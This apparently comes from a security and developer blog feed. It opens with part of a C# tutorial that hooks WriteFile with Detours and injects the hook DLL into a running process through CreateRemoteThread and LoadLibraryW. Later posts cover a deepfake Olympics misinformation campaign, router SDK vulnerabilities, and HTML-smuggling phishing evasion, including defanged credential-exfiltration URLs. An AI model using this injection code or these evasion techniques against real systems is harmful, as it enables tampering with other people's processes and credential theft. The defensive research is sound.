DetourFinishHelperProcess

// constants and enums
WIN32_ERROR

Notice, that I don’t need any special files or additional steps to generate PInvoke signatures for the Detours library. I just put them in the same file as other Win32 API functions. I love the simplicity of this solution and I am a big fan of the CsWin32 project since its launch 🙂 With the PInvokes generated, we are ready to define our WriteFile hook:

static class Hooks
{
    public static unsafe delegate* unmanaged[Stdcall]<HANDLE, byte*, uint, uint*, NativeOverlapped*, BOOL> OrigWriteFile = null;

    [UnmanagedCallersOnly(CallConvs = [typeof(CallConvStdcall)])]
    public static unsafe BOOL HookedWriteFile(HANDLE hFile, byte* lpBuffer, uint nNumberOfBytesToWrite, uint* lpNumberOfBytesWritten, NativeOverlapped* lpOverlapped)
    {
        Trace.WriteLine("HookedWriteFile");
        return OrigWriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped);
    }
}

The HookedWriteFile is the hook function, so the function that will detour (or in our case wrap) the original WinAPI WriteFile function. I needed to mark it with the UnmanagedCallersOnly attribute as it will be called directly from the native code (no marshaling). Therefore, its signature must match the native one. When creating a detour, we also need to save somewhere the address of the original function, so we could call it from our hook. The OrigWriteFile variable serves this purpose. It is a function pointer, so we can point it to a native address and call it like any other method (no need for delegates or marshaling). As you see, our hook does not do much – prints a string to the Debug output, but you may put here any logic you want, only making sure that it could be NativeAOT compiled (I will get to it in just a moment). It is time to implement functions that would activate and deactivate our hook in a remote process:

public static class Exports
{
    [UnmanagedCallersOnly(CallConvs = [typeof(CallConvStdcall)], EntryPoint = "InitHooks")]
    internal static void InitHooks()
    {
        unsafe
        {
            var kernel32Handle = GetModuleHandle("kernel32.dll");
            if (kernel32Handle == 0 || !NativeLibrary.TryGetExport(kernel32Handle, "WriteFile", out var funcAddress))
            {
                Trace.WriteLine($"Error resolving test function address (hmodule: 0x{kernel32Handle:x})");
                return;
            }

            var origFuncPtr = (void*)funcAddress;
            delegate* unmanaged[Stdcall]<HANDLE, byte*, uint, uint*, NativeOverlapped*, BOOL> hookedFunc = &Hooks.HookedWriteFile;

            PInvokeDetours.DetourRestoreAfterWith();

            ThrowIfError(PInvokeDetours.DetourTransactionBegin());
            ThrowIfError(PInvokeDetours.DetourUpdateThread(PInvokeWin32.GetCurrentThread()));
            ThrowIfError(PInvokeDetours.DetourAttach(&origFuncPtr, hookedFunc));
            ThrowIfError(PInvokeDetours.DetourTransactionCommit());

            Hooks.OrigWriteFile = (delegate* unmanaged[Stdcall]<HANDLE, byte*, uint, uint*, NativeOverlapped*, BOOL>)origFuncPtr;
        }

        static unsafe nint GetModuleHandle(string moduleName)
        {
            var moduleNamePtr = Marshal.StringToHGlobalUni(moduleName);
            try
            {
                return PInvokeWin32.GetModuleHandle(new PCWSTR((char*)moduleNamePtr));
            }
            finally
            {
                Marshal.FreeHGlobal(moduleNamePtr);
            }
        }
    }

    [UnmanagedCallersOnly(CallConvs = [typeof(CallConvStdcall)], EntryPoint = "RemoveHooks")]
    internal static void RemoveHooks()
    {
        unsafe
        {
            var origFuncPtr = (void*)Hooks.OrigWriteFile;
            Hooks.OrigWriteFile = null;

            delegate* unmanaged[Stdcall]<HANDLE, byte*, uint, uint*, NativeOverlapped*, BOOL> hookedFunc = &Hooks.HookedWriteFile;

            ThrowIfError(PInvokeDetours.DetourTransactionBegin());
            ThrowIfError(PInvokeDetours.DetourUpdateThread(PInvokeWin32.GetCurrentThread()));
            ThrowIfError(PInvokeDetours.DetourDetach(&origFuncPtr, hookedFunc));
            ThrowIfError(PInvokeDetours.DetourTransactionCommit());
        }
    }

    static void ThrowIfError(int err)
    {
        if (err != (int)WIN32_ERROR.NO_ERROR)
        {
            throw new System.ComponentModel.Win32Exception(err);
        }
    }
}

There is a lot going on here, so let me explain the important parts. The test loader that we will implement in the next section will load the hook DLL into the target process. In C++, we could use DllMain to setup the detours, but this approach won’t work for C#. Thus, the loader must explicitly call the InitHooks or RemoveHooks functions to activate or deactivate WriteFile function hook. In InitHooks, we obtain the address of the original WriteFile function and assign it to a function pointer. DetourAttach will later install the detour at this address and will also update the pointer’s value with an address of the newly created trampoline to the original WriteFile function. We then save this pointer’s value to the Hooks.OrigWriteFile static field, so we could use it in the hook.

To make InitHooks and RemoveHooks methods callable we need to export them. The easiest way to do so is by using an EntryPoint parameter of the UnmanagedCallersOnly attribute. The string that we assign to this parameter will be the name of the native export after we publish the DLL. If you need higher control over the generated exports (for example, you would like to assign specific ordinal numbers to exported functions), you have to disable the automatic export generation by setting the IlcExportUnmanagedEntrypoints to false in the project file and use IlcArg property to define linker arguments. Here is an example project file where we explicitly configure the exports, additionally adding DetourFinishHelperProcess to make it work with the DetourCreateProcessWithDlls function:

<Project Sdk="Microsoft.NET.Sdk">

    <PropertyGroup>
        <TargetFramework>net8.0-windows</TargetFramework>
        <RootNamespace>testdll</RootNamespace>
        <ImplicitUsings>enable</ImplicitUsings>
        <Nullable>enable</Nullable>
        <PublishAot>true</PublishAot>
        <AllowUnsafeBlocks>true</AllowUnsafeBlocks>
        <IlcExportUnmanagedEntrypoints>false</IlcExportUnmanagedEntrypoints>
    </PropertyGroup>

    <ItemGroup>
        <IlcArg Include="--export-dynamic-symbol:DetourFinishHelperProcess,@1" />
        <IlcArg Include="--export-dynamic-symbol:InitHooks,@2" />
        <IlcArg Include="--export-dynamic-symbol:RemoveHooks,@3" />
    </ItemGroup>

    <ItemGroup>
        <PackageReference Include="Detours.Win32Metadata" Version="4.0.1.12" />
        <PackageReference Include="Microsoft.Windows.CsWin32" Version="0.3.106">
            <PrivateAssets>all</PrivateAssets>
            <IncludeAssets>runtime; build; native; contentfiles; analyzers; buildtransitive</IncludeAssets>
        </PackageReference>
    </ItemGroup>
</Project>

The last step is to publish the DLL:

dotnet public -c Debug -r win-x64

The above command should produce a natively compiled DLL. Win-x86 is not available as a publish target for NativeAOT in .NET 8, but support for it is coming in .NET 9. The loader we will implement in the next section, will support both 32-bit and 64-bit hooking DLLs.

Implementing a test loader

Our first task is to inject a DLL into a remote process. We can easily do that by using the CreateRemoteThread function, but first we need to know the address of kernel32!LoadLibraryW. We will start by getting the kernel32 base address (handle) in the remote process:

static unsafe (HMODULE, string moduleFullPath) GetModuleInfo(HANDLE processHandle, bool isWow64, string moduleName)
{
    const uint MaxModulesNumber = 256;

    var moduleHandles = stackalloc HMODULE[(int)MaxModulesNumber];
    uint cb = MaxModulesNumber * (uint)Marshal.SizeOf<HMODULE>();
    uint cbNeeded = 0;

    PInvoke.EnumProcessModulesEx(processHandle, moduleHandles, cb, &cbNeeded,
        isWow64 ? ENUM_PROCESS_MODULES_EX_FLAGS.LIST_MODULES_32BIT : ENUM_PROCESS_MODULES_EX_FLAGS.LIST_MODULES_64BIT);

    if (cb >= cbNeeded)
    {
        moduleName = Path.DirectorySeparatorChar + moduleName.ToUpper();
        var nameBuffer = stackalloc char[(int)PInvoke.MAX_PATH];
        foreach (var iterModuleHandle in new Span<HMODULE>(moduleHandles, (int)(cbNeeded / Marshal.SizeOf<HMODULE>())))
        {
            if (PInvoke.GetModuleFileNameEx(processHandle, iterModuleHandle, nameBuffer,
                    PInvoke.MAX_PATH) is var iterModuleNameLength && iterModuleNameLength > moduleName.Length)
            {
                var iterModuleNameSpan = new Span<char>(nameBuffer, (int)iterModuleNameLength);
                if (IsTheRightModule(iterModuleNameSpan))
                {
                    return (iterModuleHandle, new string(iterModuleNameSpan));
                }
            }
        }
    }

    return ((HMODULE)nint.Zero, "");

    bool IsTheRightModule(ReadOnlySpan<char> m)
    {
        var moduleNameSpan = moduleName.AsSpan();
        for (int i = 0; i < moduleNameSpan.Length; i++)
        {
            if (char.ToUpper(m[i + m.Length - moduleNameSpan.Length]) != moduleNameSpan[i])
            {
                return false;
            }
        }
        return true;
    }
}

The 32-bit processes (WOW64) contain both 32-bit and 64-bit system DLLs. The above method will pick the system DLL version with the same bittness as the target process. Unfortunately, the module path returned by GetModuleFileNameEx might be incorrect in the 64-bit context (for example, C:\Windows\System32 instead of C:\Windows\SysWOW64), so we will set it manually (I did not find a WinAPI function that would return a valid 64-bit path, so please leave a comment if you know one):

string systemDirectory = isWow64 ? Environment.GetFolderPath(Environment.SpecialFolder.SystemX86) : Environment.SystemDirectory;

And we will use the PEReader class to find the offset of the LoadLibraryW function:

static unsafe uint GetModuleExportOffset(string modulePath, string procedureName)
{
    using var pereader = new PEReader(File.OpenRead(modulePath));

    var exportsDirEntry = pereader.PEHeaders.PEHeader!.ExportTableDirectory;
    var exportsDir = (IMAGE_EXPORT_DIRECTORY*)pereader.GetSectionData(exportsDirEntry.RelativeVirtualAddress).Pointer;

    var functionNamesRvas = new Span<uint>(pereader.GetSectionData((int)exportsDir->AddressOfNames).Pointer,
                                            (int)exportsDir->NumberOfNames);
    var functionNamesOrdinals = new Span<ushort>(pereader.GetSectionData((int)exportsDir->AddressOfNameOrdinals).Pointer,
                                                    (int)exportsDir->NumberOfNames);
    var addressOfFunctions = pereader.GetSectionData((int)exportsDir->AddressOfFunctions).Pointer;

    for (int i = 0; i < functionNamesRvas.Length; i++)
    {
        var name = Marshal.PtrToStringAnsi((nint)pereader.GetSectionData((int)functionNamesRvas[i]).Pointer);
        var index = functionNamesOrdinals[i];

        if (name == procedureName)
        {
            return *(uint*)(addressOfFunctions + index * sizeof(uint));
        }
    }

    return 0;
}

We will also define helper functions to work with memory in the remote process and to create a remote thread:

static void CallFunctionInRemoteProcess(HANDLE processHandle, nint fnAddress, nint arg0 = 0)
{
    unsafe
    {
        if ((HANDLE)CreateRemoteThread(processHandle, null, 0, fnAddress, arg0, 0, null) is var remoteThreadHandle &&
            remoteThreadHandle == (HANDLE)0)
        {
            throw new Win32Exception(Marshal.GetLastWin32Error());
        }

        try
        {
            if (PInvoke.WaitForSingleObject(remoteThreadHandle, 5000) is var err && err == WAIT_EVENT.WAIT_TIMEOUT)
            {
                throw new Win32Exception((int)WIN32_ERROR.ERROR_TIMEOUT);
            }
            else if (err == WAIT_EVENT.WAIT_FAILED)
            {
                throw new Win32Exception(Marshal.GetLastWin32Error());
            }
        }
        finally
        {
            PInvoke.CloseHandle(remoteThreadHandle);
        }
    }
}

static nint AllocAndWriteData(HANDLE remoteProcessHandle, Span<byte> data)
{
    unsafe
    {
        var allocAddr = PInvoke.VirtualAllocEx(remoteProcessHandle, null, (nuint)data.Length,
            VIRTUAL_ALLOCATION_TYPE.MEM_RESERVE | VIRTUAL_ALLOCATION_TYPE.MEM_COMMIT, PAGE_PROTECTION_FLAGS.PAGE_READWRITE);
        if (allocAddr != null)
        {
            // VirtualAllocEx initializes memory to 0
            fixed (void* dataPtr = data)
            {
                if (!PInvoke.WriteProcessMemory(remoteProcessHandle, allocAddr, dataPtr, (nuint)data.Length, null))
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }
            }
            return (nint)allocAddr;
        }
        else
        {
            throw new Win32Exception(Marshal.GetLastWin32Error());
        }
    }
}

static void FreeMemory(HANDLE remoteProcessHandle, nint allocAddr)
{
    unsafe
    {
        PInvoke.VirtualFreeEx(remoteProcessHandle, (void*)allocAddr, 0, VIRTUAL_FREE_TYPE.MEM_RELEASE);
    }
}

And we are ready to implement the tests:

const uint processId = 12345; // set it to a valid process  Id

const PROCESS_ACCESS_RIGHTS AccessRightsForCreatingRemoteThread = PROCESS_ACCESS_RIGHTS.PROCESS_CREATE_THREAD |
        PROCESS_ACCESS_RIGHTS.PROCESS_QUERY_INFORMATION | PROCESS_ACCESS_RIGHTS.PROCESS_VM_OPERATION |
        PROCESS_ACCESS_RIGHTS.PROCESS_VM_WRITE | PROCESS_ACCESS_RIGHTS.PROCESS_VM_READ;

[Test]
public static void SetHook()
{
    // find a process to hook
    var processHandle = PInvoke.OpenProcess(AccessRightsForCreatingRemoteThread, false, processId);

    bool isWow64 = IsWow64(processHandle);

    string systemDirectory = isWow64 ? Environment.GetFolderPath(Environment.SpecialFolder.SystemX86) : Environment.SystemDirectory;

    // load a hook dll
    var hookDllName = isWow64 ? "hook_x86.dll" : "hook_x64.dll";
    var hookDllPath = Path.Combine(AppContext.BaseDirectory, hookDllName);
    var allocAddr = AllocAndWriteData(processHandle, Encoding.Unicode.GetBytes(hookDllPath + "\0").AsSpan());
    try
    {
        Assert.That(GetModuleInfo(processHandle, isWow64, "kernel32.dll") is var (kernel32Handle, _) && kernel32Handle != 0);

        var kernel32Path = Path.Combine(systemDirectory, "kernel32.dll");
        var fnLoadLibraryW = kernel32Handle + (nint)GetModuleExportOffset(kernel32Path, "LoadLibraryW");
        CallFunctionInRemoteProcess(processHandle, fnLoadLibraryW, allocAddr);
    }
    finally
    {
        FreeMemory(processHandle, allocAddr);
    }

    // set hooks
    Assert.That(GetModuleInfo(processHandle, isWow64, hookDllName) is var (hookDllHandle, _) && hookDllHandle != 0);
    var fnInitHooks = hookDllHandle + (nint)GetModuleExportOffset(hookDllPath, "InitHooks");
    CallFunctionInRemoteProcess(processHandle, fnInitHooks);
}

[Test]
public static void UnsetHook()
{
    var processHandle = PInvoke.OpenProcess(AccessRightsForCreatingRemoteThread, false, processId);

    bool isWow64 = IsWow64(processHandle);
    
    var hookDllName = isWow64 ? "hook_x86.dll" : "hook_x64.dll";
    var hookDllPath = Path.Combine(AppContext.BaseDirectory, hookDllName);

    // unset hooks
    Assert.That(GetModuleInfo(processHandle, isWow64, hookDllName) is var (hookDllHandle, _) && hookDllHandle != 0);
    var fnInitHooks = hookDllHandle + (nint)GetModuleExportOffset(hookDllPath, "RemoveHooks");
    CallFunctionInRemoteProcess(processHandle, fnInitHooks);
}

Now, try to run any process that writes to a file. Set the process ID in the test and run SetHook. You should start seeing HookedWriteFile messages in the system global debug output (for example, you may use DebugView for this purpose). Of course, setting the process ID manually is not the best way to do so and surely not automatic, but it’s only a POC so please close your eyes to that 🙂

Olympics Has Fallen – A Misinformation Campaign Featuring Elon Musk

10 July 2024 at 18:59

Authored by Lakshya Mathur and Abhishek Karnik

As we gear up for the 2024 Paris Olympics, excitement is building, and so is the potential for scams. From fake ticket sales to counterfeit merchandise, scammers are on the prowl, leveraging big events to trick unsuspecting fans. Recently, McAfee researchers uncovered a particularly malicious scam that not only aims to deceive but also to portray the International Olympic Committee (IOC) as corrupt.

This scam involves sophisticated social engineering techniques, where the scammers aim to deceive. They’ve become more accessible than ever thanks to advancements in Artificial Intelligence (AI). Tools like audio cloning enable scammers to create convincing fake audio messages at a low cost. These technologies were highlighted in McAfee’s AI Impersonator report last year, showcasing the growing threat of such tech in the hands of fraudsters.

The latest scheme involves a fictitious Amazon Prime series titled “Olympics has Fallen II: The End of Thomas Bach,” narrated by a deepfake version of Elon Musk’s voice. This fake series was reported to have been released on a Telegram channel on June 24th, 2024. It’s a stark reminder of the lengths to which scammers will go to spread misinformation and exploit public figures to create believable narratives.

Short video snippet of Olympics has Fallen II

As we approach the Olympic Games, it’s crucial to stay vigilant and question the authenticity of sensational claims, especially those found on less regulated platforms like Telegram. Always verify information through official channels to avoid falling victim to these sophisticated scams.

Cover Image of the series

This series seems to be the work of the same creator who, a year ago, put out a similar short series titled “Olympics has Fallen,” falsely presented as a Netflix series featuring a deepfake voice of Tom Cruise. With the Olympics less than a month away, this new release looks to be a sequel to last year’s fabrication.

Image and Description of last year’s released series

These so-called documentaries are currently being distributed via Telegram channels. The primary aim of this series is to target the Olympics and discredit its leadership. Within just a week of its release, the series has already attracted over 150,000 viewers, and the numbers continue to climb.

In addition to claiming to be an Amazon Prime story, the creators of this content have also circulated images of what seem to be fabricated endorsements and reviews from reputable publishers, enhancing their attempt at social engineering.

Fake endorsement of famous publishers

This 3-part series consists of episodes utilizing AI voice cloning, image diffusion and lip-sync to piece together a fake narration. A lot of effort has been expended to make the video look like a professionally created series. However, there are certain hints in the video, such as the picture-in-picture overlay that appears at various points in the series. Through close observation, there are certain glitches.

Overlay video within the series with some discrepancies

The original video appears to be from a Wall Street Journal (WSJ) interview that has then been altered and modified (notice the background). The audio clone is almost indiscernible by human inspection.

Original video snapshot from WSJ Interview

Modified and altered screenshot from part 3 of the fake series

Episodes thumbnails and their descriptions captured from the telegram channel

Elon Musk’s voice has been a target for impersonation before. In fact, McAfee’s 2023 Hacker Celebrity Hot List placed him at number six, highlighting his status as one of the most frequently mimicked public figures in cryptocurrency scams.

As the prevalence of deepfakes and related scams continues to grow, along with campaigns of misinformation and disinformation, McAfee has developed deepfake audio detection technology. Showcased on Intel’s AI PCs at RSA in May, McAfee’s Deepfake Detector – formerly known as Project Mockingbird – helps people discern truth from fiction and defends consumers against cybercriminals utilizing fabricated, AI-generated audio to carry out scams that rob people of money and personal information, enable cyberbullying, and manipulate the public image of prominent figures.

With the 2024 Olympics on the horizon, McAfee predicts a surge in scams involving AI tools. Whether you’re planning to travel to the summer Olympics or just following the excitement from home, it’s crucial to remain alert. Be wary of unsolicited text messages offering deals, steer clear of unfamiliar websites, and be skeptical of the information shared on various social platforms. It’s important to maintain a critical eye and use tools that enhance your online safety.

McAfee is committed to empowering consumers to make informed decisions by providing tools that identify AI-generated content and raising awareness about their application where necessary.

AI-generated content is becoming increasingly believable nowadays. Some key recommendations while viewing content online:

  1. Be skeptical of content from untrusted sources – Always question the motive. In this case, the content is accessible on Telegram channels and posted to uncommon public cloud storage.
  2. Be vigilant while viewing the content – Most AI fabrications will have some flaws, although it’s becoming increasingly more difficult to spot such discrepancies at a glance. In this video, we noted some obvious indicators that appeared to be forged, however it is slightly more complicated with the audio.
  3. Cross-verify information – Any cross-validation of this content based on the title on popular search engines or by searching Amazon Prime content, would very quickly lead consumers to realize that something is amiss.

The post Olympics Has Fallen – A Misinformation Campaign Featuring Elon Musk appeared first on McAfee Blog.

15 vulnerabilities discovered in software development kit for wireless routers

10 July 2024 at 16:00
15 vulnerabilities discovered in software development kit for wireless routers

Cisco Talos’ Vulnerability Research team recently discovered 15 vulnerabilities in the Realtek rtl819x Jungle software development kit used in some small and home office wireless routers.

This SDK uses the discontinued, open-source Boa as its web server. Talos researchers discovered these vulnerabilities in the Jungle SDK while researching other vulnerabilities in the LevelOne WBR-6013 wireless router, which are also covered in this blog post. 

Realtek has patched these issues in the SDK, all in adherence to Cisco’s third-party vulnerability disclosure policy, while LevelOne has declined to release a fix.

For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website

Multiple vulnerabilities in Realtek rtl819x Jungle SDK

Discovered by Francesco Benvenuto and Kelly Patterson.

The Realtek rtl819x Jungle software development kit contains 15 vulnerabilities, some of which could lead to arbitrary execution. The SDK uses Boa — a deprecated, open-source software — as a webserver. 

The LevelOne WBR-6013, a small and home office (SOHO) wireless router, uses Jungle as its SDK.

Multiple stack-based buffer overflow vulnerabilities arise if an adversary sends a specially crafted set of HTTP requests to the targeted device:

Another vulnerability, TALOS-2024-1911 (CVE-2024-21778), is a heap-based buffer overflow issue that exists if an adversary sends a specially crafted .dat. An attacker could exploit this vulnerability to execute arbitrary code.

Two other issues – TALOS-2023-1877 (CVE-2023-45742) and TALOS-2023-1899 (CVE-2023-50381, CVE-2023-50383, CVE-2023-50382) -- can also lead to arbitrary code execution, but in these cases, are caused by a series of malicious HTTP requests.

TALOS-2023-1872 (CVE-2023-47677) could allow an attacker to carry out a cross-site request forgery attack if they send a specially crafted network packet to the targeted device. This vulnerability could force an authenticated user to submit requests to the device. 

And finally, TALOS-2023-1874 (CVE-2023-34435) could allow an adversary to update the device to a new version of its firmware without the user knowing, potentially allowing them to deploy a malicious update.

Vulnerabilities in LevelOne router could lead to remote code execution

Discovered by Francesco Benvenuto.

The LevelOne WBR-6013 wireless router contains two vulnerabilities that could lead to remote code execution.

TALOS-2023-1871 (CVE-2023-46685) is a hardcoded password vulnerability in the router’s telnetd service. A text file contains the hash of the users’ passwords, which an adversary could access and then use to completely take over a device. 

This router also uses Boa as a web server, which by default has the ‘/boafrm/formSysCmd’ API. While there is no LevelOne documentation about this API's existence, an adversary could still reach the API to execute arbitrary commands in the device. An adversary could send a specially crafted network packet to exploit TALOS-2023-1873 (CVE-2023-49593).

LevelOne has declined to release a patch for these issues.

Grandstream GXP2135 command injection vulnerability

Discovered by Matthew Bernath.

The Grandstream GXP2135 voice-over-IP phone contains a command injection vulnerability that could lead to arbitrary command execution. 

TALOS-2024-1978 (CVE-2024-32937) exists if an adversary sends a specially crafted network packet to the targeted device. The attacker could manipulate the vulnerable configuration on the device by authenticating to a web server first, or by carrying out an adversary-in-the-middle attack to configure the device’s ACS. 

Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling

10 July 2024 at 12:00
  • Cisco Talos has spotted several malicious email campaigns over the past few months that disguise JavaScript code within HTML email attachments, a technique commonly known as “HTML Smuggling.”
  • Cisco Talos has noticed that some industry verticals were targeted more than others by email threats using the HTML smuggling technique during the observed time window. For example, companies in the human resources, insurance and healthcare domains were targeted the most, while legal, supply chain and e-commerce companies were among those targeted the least. 
  • A wide range of evasion techniques has been identified from the senders of these emails, finding ways to get around email gateways and even more advanced detections. These techniques range from various encoding mechanisms to encryption and obfuscation. 
  • These adversaries use simple methods to increase their chances of success, like playing around with email attachments, as well as more advanced techniques by combining different evasion methods or employing a single evasion method multiple times. 
  • Talos is releasing a new list of CyberChef recipes that enable faster and easier reversal of encoded JavaScript code contained in the observed HTML attachments. This may assist in creating automation to process and identify such emails for more effective long-term security measures. 

Introduction to HTML smuggling 

Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling

HTML smuggling is a technique used by attackers to embed encoded or encrypted JavaScript code within HTML attachments or web pages. This technique has been used extensively in spear phishing email campaigns over the past few months. HTML smuggling is quite effective in bypassing perimeter security controls such as email gateways and web proxies for two main reasons: It abuses the legitimate features of HTML5 and JavaScript, and it leverages different forms of encoding and encryption. 

Threat actors start by sending one or more emails with URLs or HTML attachments to their targets. When the recipient clicks on the URL or opens the attachment, the browser decodes and runs all encoded JavaScript code automatically, which will eventually download and deliver the malware to the victim’s device, or alternatively, redirect the user to the final phishing page. In some cases, the code for the malware is embedded in the HTML attachment, and the JavaScript code simply reconstructs and runs it without needing additional downloads. 

Reversing the HTML attachments 

Security researchers should continuously monitor changes in threat actors’ techniques and update their detection logic and/or processes to make sure customers stay protected. Reverse engineering tools could be helpful for several reasons because they help security analysts better understand attackers’ techniques, especially those that are used to help them stay under the radar. They could be used to update the logic in detection rules or feature extraction processes for more advanced detection solutions that rely on machine learning.  

By sharing the insights gained from reverse engineering with the broader cybersecurity community, organizations can contribute to collective threat intelligence efforts, helping others to prepare for and defend against similar attacks. 

CyberChef is a powerful open-source web application developed by Government Communications Headquarters (GCHQ) that facilitates the decoding and decryption of JavaScript code in HTML attachments. It provides a variety of modules (or functions) for decoding and decryption that can be combined to build up a “recipe.” These recipes can then be exported in different formats and loaded later to be used elsewhere. A snippet of an HTML attachment is shown below.  

Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
A snippet of an HTML attachment with base64-encoded string within a script tag. 

This attachment contains an encoded string in JavaScript that can be decoded using a base64-decoding function. The URL is defanged to avoid being opened by the readers by mistake.  

Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
An encoded string and its decoded equivalent using the “From Base64” function in CyberChef. 

Talos is releasing new recipes that security researchers can use to reverse encoded and/or encrypted JavaScript code in HTML attachments. Alternatively, these recipes could be integrated into automated feature extraction processes to improve the detection of emails containing HTML attachments. We will also share recipes that are not referenced in this blog post but have been used frequently to reverse HTML attachments. The combinations captured by these recipes show which evasion techniques threat actors use most often. 

A dive into evasion techniques 

Talos has been closely monitoring email campaigns that leverage HTML smuggling over the past several months. Various evasion techniques have been identified, which threat actors use to bypass email gateways, ranging from different encoding mechanisms to encryption. In some instances, evasion techniques are chained together, but in others, a single method is employed multiple times to increase the challenge of detection. Additionally, obfuscation has been applied to the encoded JavaScript code to further complicate their detection. 

Playing around with attachments 

Talos has witnessed various attempts by threat actors to manipulate email attachments to take advantage of software engineering oversights and evade detection systems. 

One common technique involves using alternative or similar file extensions for attachments to bypass message filtering mechanisms. For example, XHTML, an older and stricter version of HTML that follows XML syntax, has been frequently used in HTML smuggling. SHTML, an extension of HTML that allows for the inclusion of dynamic content, has also been used in the wild. 

Instead of using alternative file extensions, a frequent pattern has been identified where dots are added to the end of HTML file extensions (e.g., “html.”, “htm.”, “htm…”). This attempt aims to bypass email parsers that rely on the Content-Type header to determine the type of an email attachment. By adding at least one dot to the end of the file extension, the Content-Type of an email attachment changes from text/html to application/octet-stream (see the examples below). 

Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
The Content-Type of the HTML attachment of an example email. 
Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
The Content-Type of the ”htm.” attachment of an example email. 

In some cases, the attachment’s file extension is repeated multiple times, or the attachment lacks any file extension (see the examples below). We have also observed attempts to combine different file extensions (e.g., “.pdf.html” or “xls.html”), which may confuse the file type identification logic of the detection code. This can affect how files are passed to downstream modules for further assessment.

Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
An example email with ”.html .html” file extension.
Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
A snippet of the HTML attachment of the above email with JavaScript code. 
Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
An example email with an HTML attachment that lacks the file extension.
Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
A snippet of the HTML attachment of the above email with JavaScript code.

Other popular techniques frequently observed include enclosing HTML attachments in ZIP archives and attaching multiple similar HTML attachments to a single email. The latter method has been identified as an attempt to increase the chances of success. The following email provides an example in which multiple SHTML attachments with identical content have been attached to a spear phishing email. The goal of the threat actors is to offer multiple employment benefits and trick the victim into engaging with any one of them. The more attractive these benefits are to an employee, the higher the chance of success for the attackers.

Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
A spearphishing example email with multiple SHTML attachments.
Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
A snippet of the SHTML attachment of the above email with JavaScript code, and the decoded phishing URL.

Obfuscation 

Code obfuscation is used extensively in HTML smuggling attacks to make their detection more challenging and expensive. One of the most popular techniques that is often applied to JavaScript code is identifier renaming, which changes the key identifiers of the code such as variable and function names to some meaningless strings. This technique is popular because it’s offered by most free and open-source obfuscators and doesn’t change the logic of the code. Two examples are provided below. In the first example, the phishing URL is an array of integers and is stored in an obfuscated variable, which is then decoded on the fly, followed by a “click” method that redirects the victim to the phishing page.

Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
A spear phishing example email with obfuscated JavaScript within HTML attachment.
Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
A snippet of the HTML attachment of the above email with JavaScript variables that are obfuscated via identifier renaming method, and the decoded phishing URL.

In the second example, the function name is also obfuscated. Here, an obfuscated string is initially decoded through a series of replacements. Subsequently, the decoded string is passed to the “eval” method, which executes it.

Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
An example email with obfuscated JavaScript within HTML attachment.
Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
A snippet of the HTML attachment of the above email with JavaScript variables and functions that are obfuscated via the identifier renaming method.

Using a single evasion technique multiple times 

The following case provides an example in which one of our customers received an email with an "html." attachment in October 2023. In this instance, threat actors leveraged the base64 encoding method twice, a technique also known as double encoding, to evade detection systems that likely rely on single-stage decoding procedures before analyzing scripts. 

Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
A spear phishing example email with an HTML attachment that contains double encoded JavaScript string variables.

The content of the HTML attachment is shown in the figure below. This attachment contains four hidden input fields. Hidden input fields are not visible on the webpage, but they can still hold values that are sent to the server when the form is submitted. Initially, the JavaScript code retrieves the values of these hidden input fields. It then uses the "substr" method to extract substrings from the values and concatenates them. Finally, two URLs are generated from these hidden fields on the fly (the values of the hidden fields and next variables can be decoded via this recipe: Base64_Decode_DecimalUnicode2String_Base64_Decode recipe). 

Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
A snippet of the HTML attachment of the above email with double encoded JavaScript string variables.

The final phishing page (https[:]//dompr[.]arrogree[.]park/login.php), constructed on the fly and stored in the 'trc' variable, is automatically shown to the victim once the HTML page is fully loaded, using the 'onload' method. As soon as the user enters the credentials, the 'SFiegrt' method will send them to another remote server (https[:]//cpsvr[.]hiominsa[.]com/POST/genofcatch.php) using an asynchronous HTTP POST request.

Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
A snippet of the HTML attachment of the above email with double-encoded JavaScript string variables and the decoded URLs.

Chaining different evasion techniques

Talos has observed continuous efforts to combine different encoding and/or encryption techniques in HTML attachments by email campaigns to evade detection. In addition, threat actors typically obfuscate the embedded JavaScript code to increase their chances of success.

In the example below, you can find an email with an "htm" attachment that was sent to one of our customers in December 2023.

Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
A spear phishing example email with an HTML attachment that combines identifier renaming obfuscation, base64 encoding and Caesar encryption to bypass detection.

The embedded JavaScript code is shown in the figure below. This email was clearly tailored for a specific recipient (see the masked email address).

Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
A snippet of the HTML attachment of the above email with obfuscated JavaScript variables and a base64-encoded string variable. 

The script block contains an obfuscated variable named '_0x5da6a8' that holds a base64-encoded string. When decoded (via the Base64_Decode_2 recipe), it yields the main JavaScript code, which includes the final phishing URL and the de-obfuscation function. The de-obfuscation function takes the "link" string variable as input, iterates over its characters, converts each character to its Unicode equivalent, subtracts five from the decimal value of each character, converts the resulting decimal value back to a Unicode character, and converts the Unicode value back to a string. Under the hood, this function effectively replicates the functionality of a Caesar cipher decryption method (see the Caesar_Decrypt recipe).

Hidden between the tags: Insights into spammers’ evasion techniques in HTML Smuggling
